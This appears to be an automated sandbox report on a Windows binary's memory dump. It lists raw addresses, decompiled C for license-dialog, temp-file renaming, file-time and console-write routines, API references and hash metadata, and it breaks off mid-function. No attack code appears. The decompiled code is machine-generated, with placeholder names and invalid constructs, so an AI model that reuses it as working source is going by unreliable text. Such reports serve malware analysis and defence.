0x013525f7
0x01352604
0x0135260d
0x01352613
0x01352624
0x01352629
0x0135262e
0x01352632
0x01352636
0x0135263c
0x01352646
0x0135264b
0x0135264e
0x01352650
0x01352652
0x01352652
0x01352650
0x0135263c
0x01352658
0x0135265f
0x01352669
0x01352523
0x01352530
0x01352535
0x01352539
0x0135253d
0x01352545
0x01352545
0x00000000
0x01352521
0x01352171
0x01352174
0x013524f3
0x013524f8
0x013524fa
0x00000000
0x00000000
0x01352500
0x01352508
0x01352512
0x013521c9
0x013521cb
0x00000000
0x013521cb
0x0135217a
0x0135217d
0x01352374
0x01352376
0x00000000
0x00000000
0x0135237c
0x01352387
0x01352389
0x0135238e
0x01352392
0x01352394
0x0135239a
0x0135239e
0x0135239e
0x013523a1
0x013523a5
0x013523a7
0x013523a9
0x013523ab
0x013523cf
0x013523ad
0x013523bb
0x013523bb
0x013523d4
0x013523d8
0x013523d8
0x013523dc
0x013523dc
0x013523df
0x013523e3
0x013523e5
0x013523e7
0x013523e9
0x0135240d
0x013523eb
0x013523f9
0x013523f9
0x013523e9
0x01352412
0x01352418
0x01352418
0x0135241b
0x0135241f
0x01352421
0x01352426
0x01352428
0x0135244c
0x0135242a
0x01352438
0x01352438
0x01352451
0x01352451
0x01352455
0x0135245a
0x01352460
0x01352462
0x01352468
0x0135246d
0x01352496
0x0135249b
0x0135246f
0x01352471
0x01352476
0x0135247b
0x01352480
0x01352482
0x01352484
0x0135248f
0x0135248f
0x01352484
0x013524a0
0x013524a5
0x013524ae
0x013524b0
0x013524b2
0x013524bd
0x013524bd
0x013524b2
0x013524c2
0x013524c7
0x013524d4
0x013524d6
0x013524d8
0x013524e7
0x013524e7
0x013524d8
0x013524c7
0x01352462
0x00000000
0x0135245a
0x0135237e
0x01352381
0x00000000
0x00000000
0x00000000
0x01352381
0x01352183
0x01352186
0x01352317
0x01352319
0x00000000
0x00000000
0x0135231f
0x0135232a
0x0135232c
0x01352338
0x0135233a
0x0135234a
0x01352354
0x01352359
0x0135236a
0x0135236a
0x00000000
0x0135233a
0x01352321
0x01352324
0x00000000
0x00000000
0x00000000
0x01352324
0x0135218c
0x0135218f
0x013522a2
0x013522b1
0x013522bc
0x013522be
0x013522c6
0x013522cc
0x013522d9
0x013522de
0x013522de
0x013522f4
0x013522f9
0x01352304
0x0135230c
0x0135230d
0x00000000
0x0135230d
0x01352195
0x01352198
0x013521d7
0x013521de
0x013521e5
0x013521ee
0x013521fc
0x01352202
0x01352209
0x0135220d
0x0135220f
0x01352218
0x0135221f
0x01352221
0x01352223
0x01352223
0x01352229
0x0135222e
0x01352232
0x01352232
0x01352236
0x01352238
0x01352241
0x01352248
0x0135224a
0x0135224c
0x0135224c
0x0135224f
0x01352258
0x0135225d
0x0135225d
0x01352261
0x01352268
0x01352271
0x01352271
0x01352277
0x0135227e
0x01352287
0x01352287
0x0135228d
0x00000000
0x0135228d
0x0135219d
0x00000000
0x00000000
0x013521a7
0x013521b5
0x013521b5
0x013521b8
0x013521c1
0x013521c6
0x013521c7
0x00000000
0x013521c7
0x01352670
0x01352670
0x01352670
0x01352674
0x0135267a
0x0135267f
0x00000000
0x00000000
0x00000000
0x0135267f
0x01352149
0x013520a9
0x0135207a
0x01352687

Strings

;%u, xrefs: 01352341
xc%u, xrefs: 01352581
x%u, xrefs: 01352524

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 2a68625c65967a0f66a656cdfad330973164b50039e9680c323f71ceaa9ad8cf
Instruction ID: 516d9630e640990eb359d8d6fd234f24648952f2ddc63c9e3901559b624566c1
Opcode Fuzzy Hash: 2a68625c65967a0f66a656cdfad330973164b50039e9680c323f71ceaa9ad8cf
Instruction Fuzzy Hash: 11F14871204345DBDB95EF2C8890FFF7BE96FA0B0CF080469ED859B286DA649548C772

Uniqueness

Uniqueness Score: -1.00%

Function 0136A3E1, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0136A3E1(void* __ecx, void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed short _a12, intOrPtr _a16) {
				long _t9;
				long _t10;
				WCHAR* _t11;
				void* _t25;
				signed short _t28;
				intOrPtr _t31;
				struct HWND__* _t35;
				intOrPtr _t36;
				void* _t37;
				struct HWND__* _t38;

				_t28 = _a12;
				_t36 = _a8;
				_t35 = _a4;
				if(E013512D7(__edx, _t35, _t36, _t28, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L16:
					__eflags = 1;
					return 1;
				}
				_t37 = _t36 - 0x110;
				if(_t37 == 0) {
					E0136C343(__edx, __eflags, __fp0, _t35);
					_t9 =  *0x139b704;
					__eflags = _t9;
					if(_t9 != 0) {
						SendMessageW(_t35, 0x80, 1, _t9);
					}
					_t10 =  *0x13a5d04;
					__eflags = _t10;
					if(_t10 != 0) {
						SendDlgItemMessageW(_t35, 0x66, 0x172, 0, _t10);
					}
					_t11 =  *0x13ade1c;
					__eflags = _t11;
					if(__eflags != 0) {
						SetWindowTextW(_t35, _t11);
					}
					_t38 = GetDlgItem(_t35, 0x65);
					SendMessageW(_t38, 0x435, 0, 0x10000);
					SendMessageW(_t38, 0x443, 0,  *0x138df40(0xf));
					 *0x138df3c(_t35);
					_t31 =  *0x13975ec; // 0x0
					E01368FE6(_t31, __eflags,  *0x1390064, _t38,  *0x13ade18, 0, 0);
					L01372B4E( *0x13ade1c);
					L01372B4E( *0x13ade18);
					goto L16;
				}
				if(_t37 != 1) {
					L5:
					return 0;
				}
				_t25 = (_t28 & 0x0000ffff) - 1;
				if(_t25 == 0) {
					_push(1);
					L7:
					EndDialog(_t35, ??);
					goto L16;
				}
				if(_t25 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0136a3e2
0x0136a3e8
0x0136a3ef
0x0136a408
0x0136a4ee
0x0136a4f0
0x00000000
0x0136a4f0
0x0136a40e
0x0136a414
0x0136a441
0x0136a446
0x0136a451
0x0136a453
0x0136a45e
0x0136a45e
0x0136a460
0x0136a465
0x0136a467
0x0136a473
0x0136a473
0x0136a479
0x0136a47e
0x0136a480
0x0136a484
0x0136a484
0x0136a499
0x0136a4a1
0x0136a4b3
0x0136a4b6
0x0136a4bc
0x0136a4d1
0x0136a4dc
0x0136a4e7
0x00000000
0x0136a4ed
0x0136a419
0x0136a428
0x00000000
0x0136a428
0x0136a41e
0x0136a421
0x0136a43c
0x0136a430
0x0136a431
0x00000000
0x0136a431
0x0136a426
0x0136a42f
0x00000000
0x0136a42f
0x00000000

APIs

Part of subcall function 013512D7: GetDlgItem.USER32(00000000,00003021), ref: 0135131B
Part of subcall function 013512D7: SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

EndDialog.USER32(?,00000001), ref: 0136A431
SendMessageW.USER32(?,00000080,00000001,?), ref: 0136A45E
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0136A473
SetWindowTextW.USER32(?,?), ref: 0136A484
GetDlgItem.USER32(?,00000065), ref: 0136A48D
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0136A4A1
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0136A4B3

Strings

LICENSEDLG, xrefs: 0136A3F5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: b00c5194903ee828b113da3e6474e43af33e9cac0fb6325f4760296b842a90f3
Instruction ID: 4b91c6854669dc09fc7cb9053b6b2ea65a41b503e158b45991106710be9d5deb
Opcode Fuzzy Hash: b00c5194903ee828b113da3e6474e43af33e9cac0fb6325f4760296b842a90f3
Instruction Fuzzy Hash: CF21A3322442157BE2326BA9EC88E7F7B6CEB56B88F018014F700B66C8C65698059775

Uniqueness

Uniqueness Score: -1.00%

Function 01359268, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E01359268(void* __ecx) {
				void* _t31;
				short _t32;
				long _t34;
				void* _t39;
				short _t41;
				void* _t65;
				intOrPtr _t68;
				void* _t76;
				intOrPtr _t79;
				void* _t82;
				WCHAR* _t83;
				void* _t85;
				void* _t87;

				E0136D870(E01381336, _t85);
				E0136D940();
				_t83 =  *(_t85 + 8);
				_t31 = _t85 - 0x4030;
				__imp__GetLongPathNameW(_t83, _t31, 0x800, _t76, _t82, _t65);
				if(_t31 == 0 || _t31 >= 0x800) {
					L20:
					_t32 = 0;
					__eflags = 0;
				} else {
					_t34 = GetShortPathNameW(_t83, _t85 - 0x5030, 0x800);
					if(_t34 == 0) {
						goto L20;
					} else {
						_t92 = _t34 - 0x800;
						if(_t34 >= 0x800) {
							goto L20;
						} else {
							 *(_t85 + 8) = E0135B943(_t92, _t85 - 0x4030);
							_t78 = E0135B943(_t92, _t85 - 0x5030);
							_t68 = 0;
							if( *_t38 == 0) {
								goto L20;
							} else {
								_t39 = E01361410( *(_t85 + 8), _t78);
								_t94 = _t39;
								if(_t39 == 0) {
									goto L20;
								} else {
									_t41 = E01361410(E0135B943(_t94, _t83), _t78);
									if(_t41 != 0) {
										goto L20;
									} else {
										 *(_t85 - 0x100c) = _t41;
										_t79 = 0;
										while(1) {
											_t96 = _t41;
											if(_t41 != 0) {
												break;
											}
											E0135FAB1(_t85 - 0x100c, _t83, 0x800);
											E01353E41(E0135B943(_t96, _t85 - 0x100c), 0x800, L"rtmp%d", _t79);
											_t87 = _t87 + 0x10;
											if(E01359E6B(_t85 - 0x100c) == 0) {
												_t41 =  *(_t85 - 0x100c);
											} else {
												_t41 = 0;
												 *(_t85 - 0x100c) = 0;
											}
											_t79 = _t79 + 0x7b;
											if(_t79 < 0x2710) {
												continue;
											} else {
												_t99 = _t41;
												if(_t41 == 0) {
													goto L20;
												} else {
													break;
												}
											}
											goto L21;
										}
										E0135FAB1(_t85 - 0x3030, _t83, 0x800);
										_push(0x800);
										E0135B9B9(_t99, _t85 - 0x3030,  *(_t85 + 8));
										if(MoveFileW(_t85 - 0x3030, _t85 - 0x100c) == 0) {
											goto L20;
										} else {
											E0135943C(_t85 - 0x2030);
											 *((intOrPtr*)(_t85 - 4)) = _t68;
											if(E01359E6B(_t83) == 0) {
												_push(0x12);
												_push(_t83);
												_t68 = E01359528(_t85 - 0x2030);
											}
											MoveFileW(_t85 - 0x100c, _t85 - 0x3030);
											if(_t68 != 0) {
												E013594DA(_t85 - 0x2030);
												E01359621(_t85 - 0x2030);
											}
											E0135946E(_t85 - 0x2030);
											_t32 = 1;
										}
									}
								}
							}
						}
					}
				}
				L21:
				 *[fs:0x0] =  *((intOrPtr*)(_t85 - 0xc));
				return _t32;
			}

0x0135926d
0x01359277
0x0135927e
0x01359281
0x01359290
0x01359298
0x01359427
0x01359427
0x01359427
0x013592a6
0x013592af
0x013592b7
0x00000000
0x013592bd
0x013592bd
0x013592bf
0x00000000
0x013592c5
0x013592d1
0x013592e0
0x013592e2
0x013592e7
0x00000000
0x013592ed
0x013592f1
0x013592f6
0x013592f8
0x00000000
0x013592fe
0x01359306
0x0135930d
0x00000000
0x01359313
0x01359313
0x0135931a
0x0135931c
0x0135931c
0x0135931f
0x00000000
0x00000000
0x0135932e
0x0135934b
0x01359350
0x01359361
0x0135936e
0x01359363
0x01359363
0x01359365
0x01359365
0x01359375
0x0135937e
0x00000000
0x01359380
0x01359380
0x01359383
0x00000000
0x00000000
0x00000000
0x00000000
0x01359383
0x00000000
0x0135937e
0x01359397
0x0135939c
0x013593a7
0x013593c4
0x00000000
0x013593c6
0x013593cc
0x013593d2
0x013593dc
0x013593de
0x013593e0
0x013593ec
0x013593ec
0x013593fc
0x01359400
0x01359408
0x01359413
0x01359413
0x0135941e
0x01359423
0x01359423
0x013593c4
0x0135930d
0x013592f8
0x013592e7
0x013592bf
0x013592b7
0x01359429
0x0135942f
0x01359439

APIs

__EH_prolog.LIBCMT ref: 0135926D
GetLongPathNameW.KERNEL32 ref: 01359290
GetShortPathNameW.KERNEL32 ref: 013592AF

Part of subcall function 01361410: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,0135ACFE,?,?,?,0135ACAD,?,-00000002,?,00000000,?), ref: 01361426

_swprintf.LIBCMT ref: 0135934B

Part of subcall function 01353E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01353E54

MoveFileW.KERNEL32(?,?), ref: 013593C0
MoveFileW.KERNEL32(?,?), ref: 013593FC

Strings

rtmp%d, xrefs: 01359334

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: d911fb005ab51a960c669b48f308e32e49cbcc354de873bf8d4b284e6fdef464
Instruction ID: f05728abd52ffd115db1e15564cc771f8707acda32404227e142af3d5350c6cd
Opcode Fuzzy Hash: d911fb005ab51a960c669b48f308e32e49cbcc354de873bf8d4b284e6fdef464
Instruction Fuzzy Hash: 6341A1B591121AE6DF60EBA8CD44FEF7B7CBF54A8CF0444A5A904A7041EA349B44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013606E0, Relevance: 12.1, APIs: 8, Instructions: 117
timeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E013606E0(intOrPtr* __ecx, intOrPtr __edx, void* __eflags, signed int* _a4) {
				struct _SYSTEMTIME _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _t73;
				void* _t81;
				signed int _t85;
				void* _t86;
				intOrPtr _t87;
				intOrPtr* _t89;
				intOrPtr* _t90;
				signed int* _t92;
				signed int _t94;

				_t87 = __edx;
				_t90 = __ecx;
				_v80 = E0136DEE0( *__ecx,  *((intOrPtr*)(__ecx + 4)), 0x64, 0);
				_v76 = _t87;
				if(E0135A995() >= 0x600) {
					FileTimeToSystemTime( &_v64,  &_v32);
					SystemTimeToTzSpecificLocalTime(0,  &_v32,  &_v16);
					SystemTimeToFileTime( &_v16,  &_v72);
					SystemTimeToFileTime( &_v32,  &_v56);
					asm("sbb ecx, [esp+0x24]");
					asm("sbb ecx, ebp");
					asm("adc ecx, ebp");
					_v72.dwLowDateTime = 0 - _v56.dwLowDateTime + _v72.dwLowDateTime + _v64.dwLowDateTime;
					asm("adc ecx, ebp");
					_v72.dwHighDateTime = _v72.dwHighDateTime + _v64.dwHighDateTime;
				} else {
					FileTimeToLocalFileTime( &_v64,  &_v72);
				}
				FileTimeToSystemTime( &_v72,  &_v48);
				_t92 = _a4;
				_t81 = 1;
				_t85 = _v48.wDay & 0x0000ffff;
				_t94 = _v48.wMonth & 0x0000ffff;
				_t88 = _v48.wYear & 0x0000ffff;
				_t92[3] = _v48.wHour & 0x0000ffff;
				_t92[4] = _v48.wMinute & 0x0000ffff;
				_t92[5] = _v48.wSecond & 0x0000ffff;
				_t92[7] = _v48.wDayOfWeek & 0x0000ffff;
				 *_t92 = _v48.wYear & 0x0000ffff;
				_t92[1] = _t94;
				_t92[2] = _t85;
				_t92[8] = _t85 - 1;
				if(_t94 > 1) {
					_t89 = 0x138d084;
					_t86 = 4;
					while(_t86 <= 0x30) {
						_t86 = _t86 + 4;
						_t92[8] = _t92[8] +  *_t89;
						_t89 = _t89 + 4;
						_t81 = _t81 + 1;
						if(_t81 < _t94) {
							continue;
						}
						break;
					}
					_t88 = _v48.wYear & 0x0000ffff;
				}
				if(_t94 > 2 && E01360849(_t88) != 0) {
					_t92[8] = _t92[8] + 1;
				}
				_t73 = E0136DF50( *_t90,  *((intOrPtr*)(_t90 + 4)), 0x3b9aca00, 0);
				_t92[6] = _t73;
				return _t73;
			}

0x013606e0
0x013606e7
0x013606f8
0x013606fc
0x01360710
0x0136072e
0x0136073b
0x01360751
0x0136075d
0x0136076b
0x01360773
0x01360779
0x0136077f
0x01360783
0x01360785
0x01360712
0x0136071c
0x0136071c
0x01360793
0x01360795
0x013607a0
0x013607a1
0x013607a6
0x013607ab
0x013607b0
0x013607b8
0x013607c0
0x013607c8
0x013607ce
0x013607d0
0x013607d3
0x013607d6
0x013607db
0x013607df
0x013607e4
0x013607e5
0x013607ec
0x013607ef
0x013607f2
0x013607f5
0x013607f8
0x00000000
0x00000000
0x00000000
0x013607f8
0x013607fa
0x013607fa
0x01360802
0x0136080e
0x0136080e
0x0136081d
0x01360823
0x0136082c

APIs

__aulldiv.LIBCMT ref: 013606F3

Part of subcall function 0135A995: GetVersionExW.KERNEL32(?), ref: 0135A9BA

FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 0136071C
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 0136072E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 0136073B
SystemTimeToFileTime.KERNEL32(?,?), ref: 01360751
SystemTimeToFileTime.KERNEL32(?,?), ref: 0136075D
FileTimeToSystemTime.KERNEL32(?,?), ref: 01360793
__aullrem.LIBCMT ref: 0136081D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 2b0d234dea79181c4b451d4cbbecdd6ed85acc3199042dde8e624bec2861f02e
Instruction ID: 5eca823b04d27c311cb1aeb9230fed4a97f53a0450a8a549007aadf812c3c5a9
Opcode Fuzzy Hash: 2b0d234dea79181c4b451d4cbbecdd6ed85acc3199042dde8e624bec2861f02e
Instruction Fuzzy Hash: B2412DB54083059FC314DF69C88096BFBFDFF88614F048A2EF59692644E775E548CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0137E2ED, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0137E2ED(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x13b0420 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x13b0420 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E01379474(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x13b0420 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x13b0420 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x13b0420 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E0137804C( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E0137804C();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									_t48 = _t135 + 8; // 0xff76e900
									 *((intOrPtr*)(_t135 + 4)) =  *_t48 - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E0136E203(_t135, _v8 ^ _t136);
			}

0x0137e2f5
0x0137e2fc
0x0137e2ff
0x0137e307
0x0137e30b
0x0137e317
0x0137e31a
0x0137e31d
0x0137e324
0x0137e32c
0x0137e32f
0x0137e335
0x0137e33b
0x0137e340
0x0137e342
0x0137e345
0x0137e34a
0x0137e354
0x0137e35b
0x0137e35e
0x0137e365
0x0137e36c
0x0137e398
0x0137e3be
0x0137e3c0
0x00000000
0x0137e39a
0x0137e39d
0x0137e464
0x0137e470
0x0137e47b
0x0137e480
0x0137e3a3
0x0137e3aa
0x0137e3af
0x0137e3b5
0x0137e3bb
0x00000000
0x0137e3bb
0x0137e3b5
0x0137e39d
0x0137e36e
0x0137e372
0x0137e375
0x0137e37b
0x0137e37d
0x0137e380
0x0137e384
0x0137e3c1
0x0137e3c4
0x0137e3c5
0x0137e3ca
0x0137e3d0
0x0137e3d6
0x0137e3e5
0x0137e3eb
0x0137e3f1
0x0137e3f6
0x0137e412
0x0137e485
0x0137e48b
0x0137e414
0x0137e414
0x0137e41c
0x0137e425
0x0137e42b
0x00000000
0x0137e42d
0x0137e42f
0x0137e432
0x0137e44b
0x00000000
0x0137e44d
0x0137e451
0x0137e453
0x0137e456
0x00000000
0x0137e456
0x0137e451
0x0137e44b
0x0137e42b
0x0137e425
0x0137e412
0x0137e3f6
0x0137e3d0
0x00000000
0x0137e459
0x0137e459
0x0137e48d
0x0137e49f

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0137EA62,00000000,00000000,00000000,00000000,00000000,01373FBF), ref: 0137E32F
__fassign.LIBCMT ref: 0137E3AA
__fassign.LIBCMT ref: 0137E3C5
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0137E3EB
WriteFile.KERNEL32(?,00000000,00000000,0137EA62,00000000,?,?,?,?,?,?,?,?,?,0137EA62,00000000), ref: 0137E40A
WriteFile.KERNEL32(?,00000000,00000001,0137EA62,00000000,?,?,?,?,?,?,?,?,?,0137EA62,00000000), ref: 0137E443

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 9e30258265719ffe33825467361331999fbb95a53a220c9bf0e3177c3300794a
Instruction ID: 4400132fff16e8d8217d1225e78c578ffaf3e2f1e28dabed3b4d31fdc79da400
Opcode Fuzzy Hash: 9e30258265719ffe33825467361331999fbb95a53a220c9bf0e3177c3300794a
Instruction Fuzzy Hash: B451C5B0E002099FDB24CFA8D885AEEBBF9FF09314F14416AE655F7281E7349941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0136BB5B, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0136BB5B(intOrPtr __ebx, void* __ecx) {
				intOrPtr _t209;
				void* _t210;
				intOrPtr _t263;
				WCHAR* _t277;
				void* _t279;
				WCHAR* _t280;
				void* _t285;

				L0:
				while(1) {
					L0:
					_t263 = __ebx;
					if(__ebx != 1) {
						goto L112;
					}
					L96:
					__eax = __ebp - 0x7c84;
					__edi = 0x800;
					GetTempPathW(0x800, __ebp - 0x7c84) = __ebp - 0x7c84;
					E0135AEA5(__eflags, __ebp - 0x7c84, 0x800) = 0;
					__esi = 0;
					_push(0);
					while(1) {
						L98:
						_push( *0x138d5f8);
						__ebp - 0x7c84 = E01353E41(0x13985fa, __edi, L"%s%s%u", __ebp - 0x7c84);
						__eax = E01359E6B(0x13985fa);
						__eflags = __al;
						if(__al == 0) {
							break;
						}
						L97:
						__esi =  &(__esi->i);
						__eflags = __esi;
						_push(__esi);
					}
					L99:
					__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x13985fa);
					__eflags =  *(__ebp - 0x5c84);
					if( *(__ebp - 0x5c84) == 0) {
						while(1) {
							L164:
							_push(0x1000);
							_t197 = _t285 - 0xe; // 0xffffa36e
							_t198 = _t285 - 0xd; // 0xffffa36f
							_t199 = _t285 - 0x5c84; // 0xffff46f8
							_t200 = _t285 - 0xfc8c; // 0xfffea6f0
							_push( *((intOrPtr*)(_t285 + 0xc)));
							_t209 = E0136A156();
							_t263 =  *((intOrPtr*)(_t285 + 0x10));
							 *((intOrPtr*)(_t285 + 0xc)) = _t209;
							if(_t209 != 0) {
								_t210 = _t285 - 0x5c84;
								_t279 = _t285 - 0x1bc8c;
								_t277 = 6;
								goto L2;
							} else {
								break;
							}
							L4:
							while(E01361410(_t285 - 0xfc8c,  *((intOrPtr*)(0x138d618 + _t280 * 4))) != 0) {
								_t280 =  &(_t280[0]);
								if(_t280 < 0xe) {
									continue;
								} else {
									goto L164;
								}
							}
							__eflags = _t280 - 0xd;
							if(__eflags > 0) {
								continue;
							}
							L8:
							switch( *((intOrPtr*)(_t280 * 4 +  &M0136C0D7))) {
								case 0:
									L9:
									__eflags = _t263 - 2;
									if(_t263 != 2) {
										goto L164;
									}
									L10:
									_t282 = 0x800;
									E013695F8(_t285 - 0x7c84, 0x800);
